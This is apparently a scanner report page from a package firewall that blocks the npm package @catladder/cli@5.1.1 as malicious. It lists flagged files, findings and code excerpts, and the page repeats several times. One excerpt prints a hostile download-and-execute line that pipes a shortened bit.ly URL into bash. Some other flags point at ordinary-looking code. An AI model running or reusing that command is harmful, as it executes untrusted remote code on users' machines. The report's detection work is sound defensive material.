@catladder/cli@5.1.1: Malicious npm security report (Block)

Loading npm security reports…

@catladder/cli@5.1.1: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

33 flagged

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView file

Lines 21-61javascript

21};

22const createReleaseJob = (config, images, options = {}) => {

23 var _a;

24 const method = (0, release_1.getReleaseMethod)(config);

25 const resolved = images.resolveRef({ catladderImage: method.image });

26 const imageNeeds = !options.skipImageNeeds &&

27 resolved.need &&

28 typeof resolved.need === "object"

29 ? [(0, createGithubJobs_1.githubGlobalJobId)(resolved.need.job)]

30 : [];

31 const allNeeds = [...imageNeeds, ...((_a = options.needs) !== null && _a !== void 0 ? _a : [])];

32 return {

33 name: "create release",

34 "runs-on": "ubuntu-latest",

35 container: {

36 image: resolved.image,

37 ...(resolved.fromRepoRegistry

38 ? {

39 credentials: {

40 username: "${{ github.actor }}",

41 password: "${{ github.token }}",

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L41

42 },

43 }

44 : {}),

45 },

46 // the release method pushes the version tag and release commit,

47 // and dispatches the taggedRelease workflow for the new tag (tags

48 // pushed with the job token don't trigger `on: push: tags`).

49 // Declaring permissions drops all default token grants, so the

50 // packages read access (needed to pull the job image from the repo

51 // registry) must be re-granted explicitly.

52 permissions: {

53 contents: "write",

54 actions: "write",

55 ...(resolved.fromRepoRegistry ? { packages: "read" } : {}),

56 },

57 ...(allNeeds.length > 0 ? { needs: allNeeds } : {}),

58 env: {

59 GITHUB_TOKEN: "${{ github.token }}",

60 // the release deploy key (provisioned by `project setup`): the

61 // release push must bypass the merge-gating ruleset, which only

247patternName = generic_password severity = medium line = 247

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L247

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView file

Lines 1-26javascript

1"use strict";

2var __importDefault = (this && this.__importDefault) || function (mod) {

3 return (mod && mod.__esModule) ?

dist/bundles/catci/index.jsView file

Lines 1-25javascript

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void

dist/packages/pipeline/src/pipeline/projectFiles.jsView file

Lines 1-17javascript

1"use strict";

2Object.defineProperty(exports, "__esModule", { value: true });

3exports.projectFileExists = void 0;

4const fs_1

dist/apps/cli/src/completion.jsView file

Lines 169-209javascript

169}

170

171# catladder <TAB>

172_catladder_completions() { _catladder_do_complete 1; }

173

174# yarn catladder <TAB>

175_yarn_catladder_completions() {

176 [[ $CURRENT -

src/commands/project/commandGetMyTotalWorktime.tsView file

9execute: async () => { L10: await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], { L11: stdio: ["pipe", "inherit", "pipe"],

Critical

Download Execute

Source downloads or fetches remote code and executes it.

src/commands/project/commandGetMyTotalWorktime.tsView on unpkg · L9

dist/apps/cli/src/release/releaseEntry.jsView file

15const post = async (url, headers, body) => { L16: const response = await fetch(url, { L17: method: "POST", L18: headers: { "content-type": "application/json", ...headers }, L19: body: JSON.stringify(body), L20: }); L21: if (!response.ok) { L22: throw new Error(`POST ${url} failed: ${response.status} ${await response.text()}`); L23: } ... L29: const createGitlabReleaseEntry = async (tag, notes) => { L30: const token = process.env.GL_TOKEN; L31: const apiUrl = process.env.CI_API_V4_URL;

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/apps/cli/src/release/releaseEntry.jsView on unpkg · L15

dist/bundles/catenv/index.jsView file

19745// This queue can be shared by multiple loaded instances L19746: var queue = global[gracefulQueue] || [] L19747: publishQueue(fs, queue)

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/bundles/catenv/index.jsView on unpkg · L19745

66Cross-file remote execution chain: dist/bundles/catenv/index.js spawns dist/bundles/catci/index.js; helper contains network access plus dynamic code execution. L66: * the context of non-interactive runs (catenv via direnv): logging L67: * goes to stderr, any required interaction fails with a clear error. L68: */ ... L433: const gitRoot = await (0, projects_1.getGitRoot)(); L434: const currentDir = process.cwd(); L435: return Object.keys(config.components).find((c) => currentDir.startsWith((0, exports.getComponentFullPath)(gitRoot, config, c))); ... L478: } L479: return `${componentName}: http://localhost:${port}`; L480: })).then((lines) => lines.filter(Boolean)); ... L869: exports.gitConfigSet = exports.gitConfigGet = void 0; L870: const child_process_promise_1 = __nccwpck_require__(11542)

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/bundles/catenv/index.jsView on unpkg · L66

•matchType = normalized_sha256 matchedPackage = @catladder/cli@5.0.0 matchedPath = dist/bundles/catenv/index.js matchedIdentity = npm:QGNhdGxhZGRlci9jbGk:5.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

dist/apps/cli/src/commands/project/commandOpenGit.jsView file

11execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: },

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/apps/cli/src/commands/project/commandOpenGit.jsView on unpkg · L11

dist/bundles/cli/xselView file

•path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/bundles/cli/xselView on unpkg

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView file

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

dist/bundles/cli/index.jsView file

•path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14864498 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/bundles/cli/index.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View on unpkg

dist/apps/cli/src/publish/npmPublishJob.jsView file

•matchType = normalized_sha256 matchedPackage = @catladder/cli@5.0.0 matchedPath = dist/apps/cli/src/publish/npm[redacted] matchedIdentity = npm:QGNhdGxhZGRlci9jbGk:5.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/publish/npmPublishJob.jsView on unpkg

dist/apps/cli/src/release/releaseGit.jsView file

•matchType = normalized_sha256 matchedPackage = @catladder/cli@5.0.0 matchedPath = [redacted].js matchedIdentity = npm:QGNhdGxhZGRlci9jbGk:5.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/releaseGit.jsView on unpkg

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView on unpkg

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView on unpkg

dist/apps/cli/src/git/gitProjectInformation.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/git/gitProjectInformation.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/changesetCheckJob.jsView on unpkg

dist/apps/cli/src/utils/getEditor.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/getEditor.jsView on unpkg

dist/apps/cli/src/utils/portForwards.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/portForwards.jsView on unpkg

dist/apps/cli/src/utils/shell.jsView file

•matchType = normalized_sha256 matchedPackage = @catladder/cli@5.0.0 matchedPath = dist/apps/cli/src/utils/shell.js matchedIdentity = npm:QGNhdGxhZGRlci9jbGk:5.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/shell.jsView on unpkg

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView file

345patternName = generic_password severity = medium line = 345

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView on unpkg · L345

Source & flagged code

33 flagged · loading source

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView file

41patternName = generic_password severity = medium line = 41

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L41

247patternName = generic_password severity = medium line = 247

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L247

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView file

6exports.detectPackageManager = exports.parsePackageManagerField = void 0; L7: const child_process_promise_1 = require("child-process-promise"); L8: const fs_1 = require("fs");

High

Child Process

Package source references child process execution.

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView on unpkg · L6

dist/bundles/catci/index.jsView file

1Source sends the broad process environment to a literal external destination. L1: (()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*!

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/bundles/catci/index.jsView on unpkg · L1

24* Released under the MIT License. L25: */const n=r(952);const toRegexRange=(e,t,r)=>{if(n(e)===false){throw new TypeError("toRegexRange: expected the first argument to be a number")}if(t===void 0||e===t){return String(e...

High

Eval

Package source references dynamic code evaluation.

dist/bundles/catci/index.jsView on unpkg · L24

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*!

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/bundles/catci/index.jsView on unpkg · L1

dist/packages/pipeline/src/pipeline/projectFiles.jsView file

3exports.projectFileExists = void 0; L4: const fs_1 = require("fs"); L5: /**

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/packages/pipeline/src/pipeline/projectFiles.jsView on unpkg · L3

dist/apps/cli/src/completion.jsView file

189function getZshrcPath() { L190: return (0, path_1.join)((0, os_1.homedir)(), ".zshrc"); L191: }

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

dist/apps/cli/src/completion.jsView on unpkg · L189

src/commands/project/commandGetMyTotalWorktime.tsView file

9execute: async () => { L10: await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], { L11: stdio: ["pipe", "inherit", "pipe"],

Critical

Download Execute

Source downloads or fetches remote code and executes it.

src/commands/project/commandGetMyTotalWorktime.tsView on unpkg · L9

dist/apps/cli/src/release/releaseEntry.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/apps/cli/src/release/releaseEntry.jsView on unpkg · L15

dist/bundles/catenv/index.jsView file

19745// This queue can be shared by multiple loaded instances L19746: var queue = global[gracefulQueue] || [] L19747: publishQueue(fs, queue)

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/bundles/catenv/index.jsView on unpkg · L19745

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/bundles/catenv/index.jsView on unpkg · L66

dist/apps/cli/src/commands/project/commandOpenGit.jsView file

11execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: },

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/apps/cli/src/commands/project/commandOpenGit.jsView on unpkg · L11

dist/bundles/cli/xselView file

•path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/bundles/cli/xselView on unpkg

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView file

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

dist/bundles/cli/index.jsView file

•path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14864498 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/bundles/cli/index.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View on unpkg

dist/apps/cli/src/publish/npmPublishJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/publish/npmPublishJob.jsView on unpkg

dist/apps/cli/src/release/releaseGit.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/releaseGit.jsView on unpkg

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView on unpkg

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView on unpkg

dist/apps/cli/src/git/gitProjectInformation.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/git/gitProjectInformation.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/changesetCheckJob.jsView on unpkg

dist/apps/cli/src/utils/getEditor.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/getEditor.jsView on unpkg

dist/apps/cli/src/utils/portForwards.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/portForwards.jsView on unpkg

dist/apps/cli/src/utils/shell.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/shell.jsView on unpkg

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView file

345patternName = generic_password severity = medium line = 345

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView on unpkg · L345

Findings

2 Critical23 High12 Medium5 Low

CriticalHardcoded Runtime Data Exfiltrationdist/bundles/catci/index.js

CriticalDownload Executesrc/commands/project/commandGetMyTotalWorktime.ts

HighChild Processdist/packages/pipeline/src/pipeline/detectPackageManager.js

HighShell

HighEvaldist/bundles/catci/index.js

HighSame File Env Network Executiondist/bundles/catci/index.js

HighCommand Output Exfiltrationdist/bundles/catci/index.js

HighSandbox Evasion Gated Capabilitydist/apps/cli/src/release/releaseEntry.js

HighObfuscated Payload Loaderdist/bundles/catenv/index.js

HighCross File Remote Execution Contextdist/bundles/catenv/index.js

HighRuntime Package Installdist/apps/cli/src/commands/project/commandOpenGit.js

HighShips High Entropy Blobdist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

HighSemantic Analysis Limiteddist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1

HighKnown Malware Source Similaritydist/apps/cli/src/publish/npmPublishJob.js

HighKnown Malware Source Similaritydist/apps/cli/src/release/releaseGit.js

HighKnown Malware Source Similaritydist/bundles/catenv/index.js

HighKnown Malware Source Similaritydist/apps/cli/src/apps/cli/commands/mongodb/utils/index.js

HighKnown Malware Source Similaritydist/apps/cli/src/commands/project/commandGetMyTotalWorktime.js

HighKnown Malware Source Similaritydist/apps/cli/src/commands/project/k8s/commandDeleteProject.js

HighKnown Malware Source Similaritydist/apps/cli/src/commands/project/k8s/commandPauseProject.js

HighKnown Malware Source Similaritydist/apps/cli/src/git/gitProjectInformation.js

HighKnown Malware Source Similaritydist/apps/cli/src/release/changesetCheckJob.js

HighKnown Malware Source Similaritydist/apps/cli/src/utils/getEditor.js

HighKnown Malware Source Similaritydist/apps/cli/src/utils/portForwards.js

HighKnown Malware Source Similaritydist/apps/cli/src/utils/shell.js

MediumSecret Patterndist/packages/pipeline/src/backends/github/githubReleaseJobs.js

MediumDynamic Requiredist/packages/pipeline/src/pipeline/projectFiles.js

MediumNetwork

MediumEnvironment Vars

MediumInstall Persistencedist/apps/cli/src/completion.js

MediumProtestware

MediumShips Native Binarydist/bundles/cli/xsel

MediumShips Compressed Blobdist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

MediumOversized Source Filedist/bundles/cli/index.js

MediumStructural Risk Force Deep Review

MediumSecret Patterndist/packages/pipeline/src/backends/github/githubReleaseJobs.js

MediumSecret Patterndist/packages/pipeline/src/backends/github/createGithubJobs.js

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

LowNested Archive Needs Inspectiondist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

Source & flagged code

33 flagged

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView file

Lines 21-61javascript

21};

22const createReleaseJob = (config, images, options = {}) => {

23 var _a;

24 const method = (0, release_1.getReleaseMethod)(config);

25 const resolved = images.resolveRef({ catladderImage: method.image });

26 const imageNeeds = !options.skipImageNeeds &&

27 resolved.need &&

28 typeof resolved.need === "object"

29 ? [(0, createGithubJobs_1.githubGlobalJobId)(resolved.need.job)]

30 : [];

31 const allNeeds = [...imageNeeds, ...((_a = options.needs) !== null && _a !== void 0 ? _a : [])];

32 return {

33 name: "create release",

34 "runs-on": "ubuntu-latest",

35 container: {

36 image: resolved.image,

37 ...(resolved.fromRepoRegistry

38 ? {

39 credentials: {

40 username: "${{ github.actor }}",

41 password: "${{ github.token }}",

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L41

42 },

43 }

44 : {}),

45 },

46 // the release method pushes the version tag and release commit,

47 // and dispatches the taggedRelease workflow for the new tag (tags

48 // pushed with the job token don't trigger `on: push: tags`).

49 // Declaring permissions drops all default token grants, so the

50 // packages read access (needed to pull the job image from the repo

51 // registry) must be re-granted explicitly.

52 permissions: {

53 contents: "write",

54 actions: "write",

55 ...(resolved.fromRepoRegistry ? { packages: "read" } : {}),

56 },

57 ...(allNeeds.length > 0 ? { needs: allNeeds } : {}),

58 env: {

59 GITHUB_TOKEN: "${{ github.token }}",

60 // the release deploy key (provisioned by `project setup`): the

61 // release push must bypass the merge-gating ruleset, which only

247patternName = generic_password severity = medium line = 247

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L247

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView file

Lines 1-26javascript

1"use strict";

2var __importDefault = (this && this.__importDefault) || function (mod) {

3 return (mod && mod.__esModule) ?

dist/bundles/catci/index.jsView file

Lines 1-25javascript

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void

dist/packages/pipeline/src/pipeline/projectFiles.jsView file

Lines 1-17javascript

1"use strict";

2Object.defineProperty(exports, "__esModule", { value: true });

3exports.projectFileExists = void 0;

4const fs_1

dist/apps/cli/src/completion.jsView file

Lines 169-209javascript

169}

170

171# catladder <TAB>

172_catladder_completions() { _catladder_do_complete 1; }

173

174# yarn catladder <TAB>

175_yarn_catladder_completions() {

176 [[ $CURRENT -

src/commands/project/commandGetMyTotalWorktime.tsView file

9execute: async () => { L10: await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], { L11: stdio: ["pipe", "inherit", "pipe"],

Critical

Download Execute

Source downloads or fetches remote code and executes it.

src/commands/project/commandGetMyTotalWorktime.tsView on unpkg · L9

dist/apps/cli/src/release/releaseEntry.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/apps/cli/src/release/releaseEntry.jsView on unpkg · L15

dist/bundles/catenv/index.jsView file

19745// This queue can be shared by multiple loaded instances L19746: var queue = global[gracefulQueue] || [] L19747: publishQueue(fs, queue)

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/bundles/catenv/index.jsView on unpkg · L19745

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/bundles/catenv/index.jsView on unpkg · L66

dist/apps/cli/src/commands/project/commandOpenGit.jsView file

11execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: },

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/apps/cli/src/commands/project/commandOpenGit.jsView on unpkg · L11

dist/bundles/cli/xselView file

•path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/bundles/cli/xselView on unpkg

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView file

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

dist/bundles/cli/index.jsView file

•path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14864498 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/bundles/cli/index.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/apps/cli/src/release/changesetCheckJob.js#virtual:normalized:round1View on unpkg

dist/apps/cli/src/publish/npmPublishJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/publish/npmPublishJob.jsView on unpkg

dist/apps/cli/src/release/releaseGit.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/releaseGit.jsView on unpkg

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/apps/cli/commands/mongodb/utils/index.jsView on unpkg

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/commandGetMyTotalWorktime.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandDeleteProject.jsView on unpkg

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/commands/project/k8s/commandPauseProject.jsView on unpkg

dist/apps/cli/src/git/gitProjectInformation.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/git/gitProjectInformation.jsView on unpkg

dist/apps/cli/src/release/changesetCheckJob.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/release/changesetCheckJob.jsView on unpkg

dist/apps/cli/src/utils/getEditor.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/getEditor.jsView on unpkg

dist/apps/cli/src/utils/portForwards.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/portForwards.jsView on unpkg

dist/apps/cli/src/utils/shell.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/apps/cli/src/utils/shell.jsView on unpkg

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView file

345patternName = generic_password severity = medium line = 345

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView on unpkg · L345

@catladder/cli@5.1.1

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code